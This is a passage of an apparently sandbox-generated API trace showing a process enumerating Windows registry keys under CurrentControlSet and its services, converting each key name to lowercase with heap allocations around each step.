BaseAddress=0x21f2eb0) returned 1 [0245.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0245.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.962] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0245.962] RegCloseKey (hKey=0x154) returned 0x0 [0245.962] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0245.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.963] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.963] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.963] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0245.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.963] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.964] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0245.964] RegCloseKey (hKey=0x14c) returned 0x0 [0245.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0245.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0245.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0245.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 